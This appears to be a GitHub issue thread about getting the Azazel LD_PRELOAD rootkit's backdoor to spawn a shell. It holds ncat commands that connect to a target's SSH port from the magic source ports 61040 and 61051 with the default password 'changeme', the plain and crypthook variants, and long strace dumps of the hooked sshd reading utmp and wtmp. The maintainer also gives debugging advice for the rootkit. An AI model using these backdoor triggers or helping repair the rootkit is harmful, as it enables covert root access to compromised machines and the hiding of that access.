azazel
azazel copied to clipboard
chokepoint
does not spawn shell indeed
:/$ ncat 192.168.136.142 22 -vvvp 61040 Ncat: Version 5.21 ( http://nmap.org/ncat ) NSOCK (0.0010s) TCP connection requested to 192.168.136.142:22 (IOD #1) EID 8 NSOCK (0.0010s) Callback: CONNECT SUCCESS for EID 8 [192.168.136.142:22] Ncat: Connected to 192.168.136.142:22. NSOCK (0.0010s) Read request from IOD #1 [192.168.136.142:22](timeout: -1ms) EID 18 NSOCK (0.0010s) Read request for 0 bytes from IOD #2 (peer unspecified) EID 26 changeme NSOCK (11.8140s) Callback READ SUCCESS for EID 26 (peer unspecified) (9 bytes) NSOCK (11.8140s) Write request for 9 bytes to IOD #1 EID 35 [192.168.136.142:22] NSOCK (11.8140s) Callback: WRITE SUCCESS for EID 35 [192.168.136.142:22] NSOCK (11.8140s) Read request for 0 bytes from IOD #2 (peer unspecified) EID 42 NSOCK (11.8140s) Callback: READ SUCCESS for EID 18 [192.168.136.142:22](25 bytes) Welcome! Here's a shell: NSOCK (11.8140s) Read request for 0 bytes from IOD #1 [192.168.136.142:22] EID 50 NSOCK (11.9590s) Callback: READ EOF for EID 50 [192.168.136.142:22] Ncat: 9 bytes sent, 25 bytes received in 11.96 seconds. NSOCK (11.9590s) Callback: READ KILL for EID 42 (peer unspecified)
No firewall on either side. Only pam worked for me
What OS is the target box? I know some people have had issues on CentOS and I haven't had the chance to dig into it yet. You may try removing the debug hook and stracing the listening daemon to see where it's failing. Could be attempting to use a shell that's not on the box.
OK. On a Debian system (distribution Parrot-1.2 amd64) I downloaded the standard Azazel, removed the function "long ptrace" from azazel.c and then "make", "make install", "/etc/init.d/ssh restart" and "strace ...": You tell me what's wrong because you're the better programmer. Here's the output for:
- Successful connection through PAM (I used the command "ssh rootme@server", random password, and I received a working root shell)
└──╼ #strace -p 17392 Process 17392 attached - interrupt to quit select(5, [3 4], NULL, NULL, NULL) = 1 (in [3]) accept(3, {sa_family=AF_INET, sin_port=htons(39369), sin_addr=inet_addr("192.168.136.144")}, [16]) = 5 fcntl(5, F_GETFL) = 0x2 (flags O_RDWR) pipe([6, 7]) = 0 socketpair(PF_FILE, SOCK_STREAM, 0, [8, 9]) = 0 clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7fce26075a90) = 17426 close(7) = 0 write(8, "\0\0\2\263\0", 5) = 5 write(8, "\0\0\2\252\n\n\n\nPort 22\n\n\n\nProtocol 2\n\nH"..., 690) = 690 close(8) = 0 close(9) = 0 close(5) = 0 select(7, [3 4 6], NULL, NULL, NULL) = 1 (in [6]) close(6) = 0 select(7, [3 4], NULL, NULL, NULL
1. Failed connection through ncat:
:/$ ncat 192.168.136.146 22 -vvv -p 61040 Ncat: Version 6.47 ( http://nmap.org/ncat ) libnsock nsi_new2(): nsi_new (IOD #1) libnsock nsock_connect_tcp(): TCP connection requested to 192.168.136.146:22 (IOD #1) EID 8 libnsock mksock_bind_addr(): Binding to 0.0.0.0:61040 (IOD #1) libnsock nsock_trace_handler_callback(): Callback: CONNECT SUCCESS for EID 8 [192.168.136.146:22] Ncat: Connected to 192.168.136.146:22. libnsock nsi_new2(): nsi_new (IOD #2) libnsock nsock_read(): Read request from IOD #1 [192.168.136.146:22](timeout: -1ms) EID 18 libnsock nsock_readbytes(): Read request for 0 bytes from IOD #2 [peer unspecified] EID 26 changeme libnsock nsock_trace_handler_callback(): Callback: READ SUCCESS for EID 26 [peer unspecified](9 bytes): changeme. libnsock nsock_trace_handler_callback(): Callback: WRITE SUCCESS for EID 35 [192.168.136.146:22] libnsock nsock_readbytes(): Read request for 0 bytes from IOD #2 [peer unspecified] EID 42 libnsock nsock_trace_handler_callback(): Callback: READ SUCCESS for EID 18 [192.168.136.146:22](25 bytes): Welcome!.Here's a shell: Welcome! Here's a shell: libnsock nsock_readbytes(): Read request for 0 bytes from IOD #1 [192.168.136.146:22] EID 50 libnsock nsock_trace_handler_callback(): Callback: READ EOF for EID 50 [192.168.136.146:22] id libnsock nsock_trace_handler_callback(): Callback: READ SUCCESS for EID 42 [peer unspecified](3 bytes): id. libnsock nsock_trace_handler_callback(): Callback: WRITE SUCCESS for EID 59 [192.168.136.146:22] libnsock nsock_readbytes(): Read request for 0 bytes from IOD #2 [peer unspecified] EID 66
And on the server:
└──╼ #strace -p 17392
Process 17392 attached - interrupt to quit
select(7, [3 4], NULL, NULL, NULL) = 1 (in [3])
accept(3, {sa_family=AF_INET, sin_port=htons(61040), sin_addr=inet_addr("192.168.136.144")}, [16]) = 5
read(5, "changeme\n", 512) = 9
write(5, "Welcome!\nHere's a shell: ", 25) = 25
open("/dev/ptmx", O_RDWR) = 6
ioctl(6, SNDCTL_TMR_TIMEBASE or TCGETS, {B38400 opost isig icanon echo ...}) = 0
ioctl(6, TIOCGPTN, [4]) = 0
stat("/dev/pts/4", {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 4), ...}) = 0
getuid() = 0
ioctl(6, TIOCSPTLCK, [0]) = 0
ioctl(6, SNDCTL_TMR_TIMEBASE or TCGETS, {B38400 opost isig icanon echo ...}) = 0
ioctl(6, TIOCGPTN, [4]) = 0
stat("/dev/pts/4", {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 4), ...}) = 0
open("/dev/pts/4", O_RDWR|O_NOCTTY) = 7
open("/var/run/utmp", O_RDWR) = 8
lseek(8, 0, SEEK_SET) = 0
read(8, "\10\0\0\0E\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\2\0\0\0\0\0\0\0~\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\1\0\0\0002N\0\0~\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\10\0\0\0G\31\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\6\0\0\0Y\33\0\0tty1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\6\0\0\0Z\33\0\0tty2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\6\0\0\0[\33\0\0tty3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\6\0\0\0^\33\0\0tty6\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\6\0\0\0\\\33\0\0tty4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\6\0\0\0]\33\0\0tty5\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\7\0\0\0\342\35\0\0pts/1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\7\0\0\0e1\0\0pts/2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\7\0\0\0\24D\0\0pts/3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "", 384) = 0
close(8) = 0
open("/var/log/wtmp", O_RDWR) = 8
lseek(8, 0, SEEK_SET) = 0
read(8, "\10\0\0\0d\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\2\0\0\0\0\0\0\0~\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\1\0\0\0002N\0\0~\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\5\0\0\0\230\v\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\10\0\0\0\230\v\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\5\0\0\0\221\r\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\5\0\0\0\223\r\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\5\0\0\0\224\r\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\5\0\0\0\222\r\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\5\0\0\0\225\r\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\5\0\0\0\226\r\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\6\0\0\0\225\r\0\0tty5\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\6\0\0\0\222\r\0\0tty2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\6\0\0\0\224\r\0\0tty4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\6\0\0\0\223\r\0\0tty3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\6\0\0\0\221\r\0\0tty1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\6\0\0\0\226\r\0\0tty6\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\7\0\0\0\354\17\0\0pts/0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\10\0\0\0\0\0\0\0pts/0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\7\0\0\0\255C\0\0pts/0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\1\0\0\00062\0\0~\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\10\0\0\0\221\r\0\0tty1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\10\0\0\0\222\r\0\0tty2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\10\0\0\0\223\r\0\0tty3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\10\0\0\0\224\r\0\0tty4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\10\0\0\0\225\r\0\0tty5\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\10\0\0\0\226\r\0\0tty6\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\10\0\0\0\0\0\0\0tty1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\10\0\0\0\0\0\0\0tty2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\10\0\0\0\0\0\0\0tty3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\10\0\0\0\0\0\0\0tty4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\10\0\0\0\0\0\0\0tty5\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\10\0\0\0\0\0\0\0tty6\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\5\0\0\0Oct 13 01:39:14 sshd[17392]:"..., 80, MSG_NOSIGNAL, NULL, 0) = 80
close(5) = 0
select(7, [3 4], NULL, NULL, NULL) = ? ERESTARTNOHAND (To be restarted)
--- SIGCHLD (Child exited) @ 0 (0) ---
wait4(-1, [{WIFSIGNALED(s) && WTERMSIG(s) == SIGSEGV}], WNOHANG, NULL) = 17577
wait4(-1, [{WIFEXITED(s) && WEXITSTATUS(s) == 1}], WNOHANG, NULL) = 17578
wait4(-1, 0x7fff6903159c, WNOHANG, NULL) = 0
rt_sigaction(SIGCHLD, NULL, {0x7fce260aadd0, [], SA_RESTORER, 0x7fce2417e220}, 8) = 0
rt_sigreturn(0x11) = -1 EINTR (Interrupted system call)
--- SIGCHLD (Child exited) @ 0 (0) ---
wait4(-1, 0x7fff6903159c, WNOHANG, NULL) = 0
rt_sigaction(SIGCHLD, NULL, {0x7fce260aadd0, [], SA_RESTORER, 0x7fce2417e220}, 8) = 0
rt_sigreturn(0x11) = -1 EINTR (Interrupted system call)
select(7, [3 4], NULL, NULL, NULL
1. Failed connection through crypthook:
:/$ LD_PRELOAD=./crypthook.so ncat 192.168.136.146 22 -vvv -p 61051 Ncat: Version 6.47 ( http://nmap.org/ncat ) libnsock nsi_new2(): nsi_new (IOD #1) libnsock nsock_connect_tcp(): TCP connection requested to 192.168.136.146:22 (IOD #1) EID 8 libnsock mksock_bind_addr(): Binding to 0.0.0.0:61051 (IOD #1) libnsock nsock_trace_handler_callback(): Callback: CONNECT SUCCESS for EID 8 [192.168.136.146:22] Ncat: Connected to 192.168.136.146:22. libnsock nsi_new2(): nsi_new (IOD #2) libnsock nsock_read(): Read request from IOD #1 [192.168.136.146:22](timeout: -1ms) EID 18 libnsock nsock_readbytes(): Read request for 0 bytes from IOD #2 [peer unspecified] EID 26 changeme libnsock nsock_trace_handler_callback(): Callback: READ SUCCESS for EID 26 [peer unspecified](9 bytes): changeme. libnsock nsock_trace_handler_callback(): Callback: WRITE SUCCESS for EID 35 [192.168.136.146:22] libnsock nsock_readbytes(): Read request for 0 bytes from IOD #2 [peer unspecified] EID 42 libnsock nsock_trace_handler_callback(): Callback: READ SUCCESS for EID 18 [192.168.136.146:22](25 bytes): Welcome!.Here's a shell: Welcome! Here's a shell: libnsock nsock_readbytes(): Read request for 0 bytes from IOD #1 [192.168.136.146:22] EID 50 libnsock nsock_trace_handler_callback(): Callback: READ EOF for EID 50 [192.168.136.146:22] id libnsock nsock_trace_handler_callback(): Callback: READ SUCCESS for EID 42 [peer unspecified](3 bytes): id. libnsock nsock_trace_handler_callback(): Callback: WRITE SUCCESS for EID 59 [192.168.136.146:22] libnsock nsock_readbytes(): Read request for 0 bytes from IOD #2 [peer unspecified] EID 66
And on the server:
└──╼ #strace -p 17392
Process 17392 attached - interrupt to quit
select(7, [3 4], NULL, NULL, NULL) = 1 (in [3])
accept(3, {sa_family=AF_INET, sin_port=htons(61051), sin_addr=inet_addr("192.168.136.144")}, [16]) = 5
recvfrom(5, "\27\0(", 3, MSG_PEEK, NULL, NULL) = 3
recvfrom(5, "\27\0(|a\247t\10\331\235\246\332W\210=\354Z@\272\0R\266\315{\370\r\373\310\371C>\306"..., 40, 0, NULL, NULL) = 40
sendto(5, "\27\0008\266\263d]\224\34\334\324\334\0\24\224\273\20\347\314\244\206\341\273\315O\310\317\327b\347\242\313"..., 56, 0, NULL, 0) = 56
open("/dev/ptmx", O_RDWR) = 6
ioctl(6, SNDCTL_TMR_TIMEBASE or TCGETS, {B38400 opost isig icanon echo ...}) = 0
ioctl(6, TIOCGPTN, [4]) = 0
stat("/dev/pts/4", {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 4), ...}) = 0
getuid() = 0
ioctl(6, TIOCSPTLCK, [0]) = 0
ioctl(6, SNDCTL_TMR_TIMEBASE or TCGETS, {B38400 opost isig icanon echo ...}) = 0
ioctl(6, TIOCGPTN, [4]) = 0
stat("/dev/pts/4", {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 4), ...}) = 0
open("/dev/pts/4", O_RDWR|O_NOCTTY) = 7
open("/var/run/utmp", O_RDWR) = 8
lseek(8, 0, SEEK_SET) = 0
read(8, "\10\0\0\0E\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\2\0\0\0\0\0\0\0~\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\1\0\0\0002N\0\0~\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\10\0\0\0G\31\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\6\0\0\0Y\33\0\0tty1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\6\0\0\0Z\33\0\0tty2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\6\0\0\0[\33\0\0tty3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\6\0\0\0^\33\0\0tty6\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\6\0\0\0\\\33\0\0tty4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\6\0\0\0]\33\0\0tty5\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\7\0\0\0\342\35\0\0pts/1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\7\0\0\0e1\0\0pts/2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\7\0\0\0\24D\0\0pts/3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "", 384) = 0
close(8) = 0
open("/var/log/wtmp", O_RDWR) = 8
lseek(8, 0, SEEK_SET) = 0
read(8, "\10\0\0\0d\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\2\0\0\0\0\0\0\0~\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\1\0\0\0002N\0\0~\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\5\0\0\0\230\v\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\10\0\0\0\230\v\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\5\0\0\0\221\r\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\5\0\0\0\223\r\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\5\0\0\0\224\r\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\5\0\0\0\222\r\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\5\0\0\0\225\r\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\5\0\0\0\226\r\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\6\0\0\0\225\r\0\0tty5\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\6\0\0\0\222\r\0\0tty2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\6\0\0\0\224\r\0\0tty4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\6\0\0\0\223\r\0\0tty3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\6\0\0\0\221\r\0\0tty1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\6\0\0\0\226\r\0\0tty6\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\7\0\0\0\354\17\0\0pts/0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\10\0\0\0\0\0\0\0pts/0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\7\0\0\0\255C\0\0pts/0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\1\0\0\00062\0\0~\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\10\0\0\0\221\r\0\0tty1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\10\0\0\0\222\r\0\0tty2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\10\0\0\0\223\r\0\0tty3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\10\0\0\0\224\r\0\0tty4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\10\0\0\0\225\r\0\0tty5\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\10\0\0\0\226\r\0\0tty6\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\10\0\0\0\0\0\0\0tty1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\10\0\0\0\0\0\0\0tty2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\10\0\0\0\0\0\0\0tty3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\10\0\0\0\0\0\0\0tty4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\10\0\0\0\0\0\0\0tty5\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\10\0\0\0\0\0\0\0tty6\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384) = 384
read(8, "\5\0\0\0Oct 13 01:45:57 sshd[17392]:"..., 80, MSG_NOSIGNAL, NULL, 0) = 80
close(5) = 0
select(7, [3 4], NULL, NULL, NULL) = ? ERESTARTNOHAND (To be restarted)
--- SIGCHLD (Child exited) @ 0 (0) ---
wait4(-1, [{WIFSIGNALED(s) && WTERMSIG(s) == SIGSEGV}], WNOHANG, NULL) = 17583
wait4(-1, 0x7fff6903159c, WNOHANG, NULL) = 0
rt_sigaction(SIGCHLD, NULL, {0x7fce260aadd0, [], SA_RESTORER, 0x7fce2417e220}, 8) = 0
rt_sigreturn(0x11) = -1 EINTR (Interrupted system call)
select(7, [3 4], NULL, NULL, NULL) = ? ERESTARTNOHAND (To be restarted)
--- SIGCHLD (Child exited) @ 0 (0) ---
wait4(-1, [{WIFEXITED(s) && WEXITSTATUS(s) == 1}], WNOHANG, NULL) = 17584
wait4(-1, 0x7fff6903159c, WNOHANG, NULL) = 0
rt_sigaction(SIGCHLD, NULL, {0x7fce260aadd0, [], SA_RESTORER, 0x7fce2417e220}, 8) = 0
rt_sigreturn(0x11) = -1 EINTR (Interrupted system call)
select(7, [3 4], NULL, NULL, NULL
funny bug of github, in the write tab it was showing me "1. [...] 2. [...] 3. [...]", at preview it was showing me "1. [...] 1. [...] 1. [...]". It seems after posting it stuck with "1. [...] 2. [...] 3. [...]".